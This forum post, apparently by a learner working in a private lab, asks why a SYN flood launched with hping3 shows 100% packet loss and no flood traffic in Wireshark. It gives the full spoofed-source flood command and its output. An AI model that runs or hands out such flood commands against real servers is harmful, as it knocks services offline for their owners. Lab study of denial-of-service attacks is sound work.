I was trying to perform a SYN flood attack, and I was using hping3. This is how the command looks like :
sudo hping3 -S -a 192.168.100.88 --flood -p 80 192.168.100.15
Where 192.168.100.88 is a non-existing IP address. The attacked server should answer back and make half-opened connections.
As a result I've got this :
elvin@elvin-VPCZ21X9R:~$ sudo hping3 -S -a 192.168.100.88 --flood -p 80 192.168.100.15 HPING 192.168.100.15 (wlp2s0 192.168.100.15): S set, 40 headers + 0 data bytes hping in flood mode, no replies will be shown ^C --- 192.168.100.15 hping statistic --- 22082825 packets transmitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
What is this:
100% packet lost? What does that mean?
Then I opened up Wireshark and didn't see any traffic which looked like a flood.
Had I performed the SYN-flood? Or did that not work?
Also I've pinged the IP address while sending packages by using this command
Is it right to check by this command the status of the apache2 server?
